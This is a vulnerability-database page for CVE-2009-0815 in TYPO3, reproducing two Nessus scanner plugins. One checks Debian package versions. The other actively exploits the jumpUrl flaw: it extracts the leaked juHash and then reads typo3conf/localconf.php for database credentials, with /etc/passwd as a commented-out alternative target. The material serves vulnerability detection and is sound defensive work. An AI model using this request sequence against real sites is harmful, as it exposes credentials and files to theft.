Vulnerabilities > CVE-2009-0815 - Information Exposure vulnerability in Typo3

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-1720. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(35638);
  script_version("1.19");
  script_cvs_date("Date: 2019/08/02 13:32:21");

  script_cve_id("CVE-2009-0815", "CVE-2009-0816");
  script_xref(name:"DSA", value:"1720");

  script_name(english:"Debian DSA-1720-1 : typo3-src - several vulnerabilities");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Several remote vulnerabilities have been discovered in the TYPO3 web
content management framework.

Marcus Krause and Michael Stucki from the TYPO3 security team
discovered that the jumpUrl mechanism discloses secret hashes enabling
a remote attacker to bypass access control by submitting the correct
value as a URL parameter and thus being able to read the content of
arbitrary files.

Jelmer de Hen and Dmitry Dulepov discovered multiple cross-site
scripting vulnerabilities in the backend user interface allowing
remote attackers to inject arbitrary web script or HTML.

As it is very likely that your encryption key has been exposed we
strongly recommend to change your encryption key via the install tool
after installing the update."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514713"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.debian.org/security/2009/dsa-1720"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the typo3 package.

For the stable distribution (etch) these problems have been fixed in
version 4.0.2+debian-8."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Typo3 FD");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_cwe_id(79, 200);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:typo3-src");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:4.0");

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/03/04");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/02/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2009/02/12");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2009-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"4.0", prefix:"typo3", reference:"4.0.2+debian-8")) flag++;
if (deb_check(release:"4.0", prefix:"typo3-src-4.0", reference:"4.0.2+debian-8")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(35655);
  script_version("1.22");
  script_cvs_date("Date: 2018/11/15 20:50:19");

  script_cve_id("CVE-2009-0815");
  script_bugtraq_id(33714);
  script_xref(name:"EDB-ID", value:"8038");

  script_name(english:"TYPO3 'jumpUrl' Mechanism Information Disclosure");
  script_summary(english:"Attempts to read 'typo3conf/localconf.php'.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by an
information disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"The 'jumpUrl' mechanism in the version of TYPO3 installed on the
remote host, which is used to track access, exposes the value of a
hash secret used to validate requests. An unauthenticated, remote
attacker can leverage this issue to view the contents of arbitrary
files on the remote host subject to the privileges of the web server
user id.");
  # https://typo3.org/security/advisory/typo3-sa-2009-002/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6fdf4cd6");
  script_set_attribute(attribute:"solution", value:
"Upgrade to TYPO3 version 4.0.12 / 4.1.10 / 4.2.6 or later, or patch
the installation as discussed in the project's advisory referenced
above.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"d2_elliot_name", value:"Typo3 FD");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
script_cwe_id(200);

  script_set_attribute(attribute:"plugin_publication_date", value:"2009/02/12");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:typo3:typo3");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("typo3_detect.nasl");
  script_require_keys("installed_sw/TYPO3","www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("url_func.inc");
include("data_protection.inc");

app = "TYPO3";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);
dir = install['path'];
install_url = build_url(qs:dir, port:port);

# file = "/etc/passwd";
# file_pat = "root:.*:0:[01]:";
file = "typo3conf/localconf.php";
file_pat = "\$typo_db_(password|username) *=";

# Call up the registration page.
url =
  "/?" +
  "jumpurl=" + urlencode(str:file) + "&" +
  "juSecure=1&" +
  "type=0&" +
  "locationData=" + urlencode(str:"3:");

res = http_send_recv3(method:"GET", item:dir+url, port:port, exit_on_fail:TRUE);

# Grab the hash.
juhash = NULL;

pat = "Calculated juHash, ([a-z0-9]+), did not";
matches = egrep(pattern:pat, string:res[2]);
if (matches)
{
  foreach match (split(matches, keep:FALSE))
  {
    item = eregmatch(pattern:pat, string:match);
    if (!empty_or_null(item[1]))
    {
      juhash = item[1];
      break;
    }
  }
}
if (empty_or_null(juhash)) exit(0, "Unable to extract juHash from "+ install_url + url);

# Now read the file.
url2 = url + "&juHash=" + juhash;

res2 = http_send_recv3(method:"GET", item:dir+url2, port:port, exit_on_fail:TRUE);

# There's a problem if we see the expected contents.
if (egrep(pattern:file_pat, string:res2[2]))
{
  if (report_verbosity > 0)
  {
    res2[2] = data_protection::redact_etc_passwd(output:res2[2]);
    report =
      '\n' + 'Nessus was able to exploit the issue to retrieve the contents of' +
      '\n' + "'" + file + "'" + ' on the remote host using the following URLs :' +
      '\n' +
      '\n' + '  ' + install_url + url + 
      '\n' + '  ' + install_url + url2 + 
      '\n';
    if (report_verbosity > 1)
    {
      snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      report +=
        '\n' + 'Here are its contents :\n' +
        '\n' + snip +
        res2[2] + '\n' +
        snip;
    }
    security_warning(port:port, extra:report);
  }
  else security_warning(port);

  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);